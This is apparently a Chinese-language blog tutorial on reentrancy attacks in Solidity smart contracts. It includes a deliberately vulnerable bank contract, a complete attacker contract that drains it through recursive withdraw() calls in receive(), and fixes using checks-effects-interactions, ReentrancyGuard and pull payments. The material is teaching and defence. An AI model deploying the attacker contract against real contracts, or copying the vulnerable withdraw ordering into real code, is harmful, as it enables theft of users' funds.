重入攻击

gold 发布于 2026-06-21 阅读 45

重入攻击基本介绍

1. 引言

在智能合约安全里,重入攻击(Reentrancy)几乎是最经典、也最值得反复理解的一类漏洞。

它之所以危险,不是因为它概念特别复杂,而是因为它利用了 Solidity 开发中一个非常容易被忽视的事实:

当合约向外部地址转账或调用外部合约时,控制权会暂时交给对方。

如果这时你的合约还没有完成状态更新,攻击者就可能“趁你函数还没执行完,再进来一次”,从而重复提币、绕过限制,甚至污染价格和份额计算。

最早让整个行业真正认识到这一点的,是 2016 年著名的 The DAO 事件。直到今天,重入仍然是审计和开发中必须优先排查的核心风险之一。


2. 前置知识:转账与回退函数

在理解重入之前,先要知道两件事:

  1. 合约是如何向外部地址转账的
  2. 外部地址在收到 ETH 时,会不会执行代码

2.1 Solidity 中常见的转账方式

常见写法有三种:

payable(to).transfer(amount);
payable(to).send(amount);
(bool ok, ) = payable(to).call{value: amount}("");
require(ok, "transfer failed");

它们的区别大致如下:

  • transfer

    • 自动抛错
    • 只转发 2300 gas
    • 早年常被认为“更安全”,但这个结论现在已经不可靠
  • send

    • 返回 bool
    • 也只转发 2300 gas
    • 需要手动检查返回值
  • call

    • 最灵活
    • 可以转发更多 gas
    • 现在是更常见的 ETH 转账方式
    • 但如果使用不当,也最容易引入重入风险

2.2 receive 和 fallback

当合约收到 ETH,或者被调用了不存在的函数时,可能会触发以下两个特殊函数:

receive() external payable {}
fallback() external payable {}

区别可以简单理解为:

  • receive():专门处理“只转 ETH,不带 calldata”的情况
  • fallback():处理“调用不存在的函数”或某些特殊调用场景

重入攻击里,攻击合约通常会在 receive()fallback() 中再次调用受害合约,从而形成“递归取款”。

2.3 重入成立的关键条件

重入攻击通常需要同时满足三个条件:

  • 合约执行了外部调用
  • 外部调用发生时,关键状态还没有更新完成
  • 攻击者能在回调中再次进入目标函数

只要这三个条件成立,就可能出现重入。


3. 重入攻击核心原理

重入攻击的本质可以概括成一句话:

外部调用发生得太早,而状态更新发生得太晚。

看下面这个逻辑:

  1. 用户调用 withdraw()
  2. 合约读取用户余额,发现可以提钱
  3. 合约先把钱转给用户
  4. 用户的合约在收到钱时触发 receive()
  5. receive() 里再次调用 withdraw()
  6. 因为原来的余额还没清零,所以第二次提币仍然成功
  7. 反复递归,直到把合约资金取空

也就是说,问题不在“转账”本身,而在于:

你把不可信的外部调用,放在了内部状态更新之前。

可以把它想成这样:

  • 你本来想按顺序做两件事:

    1. 记账
    2. 付款
  • 但你实际写成了:

    1. 先付款
    2. 再记账

攻击者正是利用这个“记账前的空档期”反复提款。


4. 漏洞合约代码示例

下面是一个最经典的脆弱银行合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableBank {
    // 记录每个用户在银行中的余额
    mapping(address => uint256) public balances;

    // 存款:用户转入 ETH,余额增加
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // 提款:存在重入漏洞
    function withdraw() external {
        // 读取当前调用者的余额
        uint256 amount = balances[msg.sender];
        require(amount > 0, "no balance");

        // 先给用户转账
        // 问题就在这里:外部调用发生时,余额还没有清零
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");

        // 最后才更新状态
        // 如果攻击者在上面的 call 中重入,这里就已经晚了
        balances[msg.sender] = 0;
    }

    // 方便接收 ETH
    receive() external payable {}
}

4.1 漏洞代码

错误点是这两行的顺序:

(bool ok, ) = msg.sender.call{value: amount}("");
balances[msg.sender] = 0;

它应该先更新余额,再执行外部调用。否则攻击者就能在 call 触发的回调函数,函数中可以多次进入 withdraw()进行转账,从而掏空资金池。


4.2 攻击思路和代码

<!--StartFragment-->

完整过程如下:

  1. 攻击者部署 ReentrancyAttacker
  2. 调用 attack(),先向 VulnerableBank 存入 1 ETH
  3. attack() 中继续调用 victim.withdraw()
  4. VulnerableBank.withdraw() 读取到攻击者余额为 1 ETH
  5. VulnerableBank 先执行 call 转账
  6. 攻击合约收到 ETH,触发 receive()
  7. receive() 中再次调用 victim.withdraw()
  8. 因为受害合约还没执行 balances[msg.sender] = 0,所以第二次提款仍然成功
  9. 重复这个过程,直到受害合约被掏空

攻击合于代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// 受害合约接口
interface IVulnerableBank {
    function deposit() external payable;
    function withdraw() external;
}

contract ReentrancyAttacker {
    // 受害合约地址
    IVulnerableBank public victim;

    // 记录重入了多少次,方便观察攻击过程
    uint256 public reentryCount;

    constructor(address victimAddress) {
        victim = IVulnerableBank(victimAddress);
    }

    // 发起攻击
    function attack() external payable {
        require(msg.value >= 1 ether, "need at least 1 ether");

        // 第一步:先往受害合约里存一点钱
        // 这样受害合约的 balances[address(this)] 就有值了
        victim.deposit{value: msg.value}();

        // 第二步:发起第一次提现
        // 一旦进入受害合约的 withdraw(),它会先给我们转账
        // 转账时会触发本合约的 receive(),从而实现重入
        victim.withdraw();
    }

    // 当受害合约给当前攻击合约转 ETH 时,会自动进入这里
    receive() external payable {
        reentryCount++;

        // 如果受害合约里还有钱,就继续重入 withdraw()
        // 注意:这时候受害合约可能还没来得及把我们的余额清零
        if (address(victim).balance >= 1 ether) {
            victim.withdraw();
        }
    }

    // 查看当前攻击合约里的 ETH 余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

<!--EndFragment-->

4.3 修复思路和代码

4.3.1 CEI修复

<!--StartFragment-->

Checks-Effects-Interactions

这是最经典的防御原则,简称 CEI

  1. Checks:先做检查
  2. Effects:先更新内部状态
  3. Interactions:最后再与外部交互

正确写法如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract SafeBankCEI {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "no balance");

        // 先更新状态
        balances[msg.sender] = 0;

        // 后进行外部调用
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }

    receive() external payable {}
}

优点:

  • 简单直接
  • 对大多数基础重入都有效

注意:

  • CEI 很重要,但不是万能
  • 遇到跨函数、跨合约、复杂共享状态时,仍然可能不够

4.3.2 互斥锁修复

<!--StartFragment-->

互斥锁 (ReentrancyGuard)

OpenZeppelin 提供了经典的 ReentrancyGuard

示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeBankGuard is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "no balance");

        balances[msg.sender] = 0;

        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }

    receive() external payable {}
}

它的作用是:

  • 在函数进入时加锁
  • 执行结束后解锁
  • 如果函数尚未执行完,又有人试图再次进入,就直接拒绝

注意:

  • nonReentrant 很适合保护关键入口
  • 但如果多个函数共享状态,要考虑是否都需要一起保护
  • 否则可能挡住“单函数重入”,却挡不住“跨函数重入”

4.3.3 拉式支付

Pull Payment 的思想是:

不要主动推钱给用户,而是先记账,用户自己来领。

例如:

  • 系统先把待领取金额记录下来
  • 用户后续单独调用 claim() 提现

好处:

  • 主流程中减少不必要的外部调用
  • 降低复杂业务逻辑与支付逻辑耦合的风险

它本质上是在架构层面降低重入面,而不是仅靠局部修修补补。

<!--EndFragment-->

相关文章

0 条评论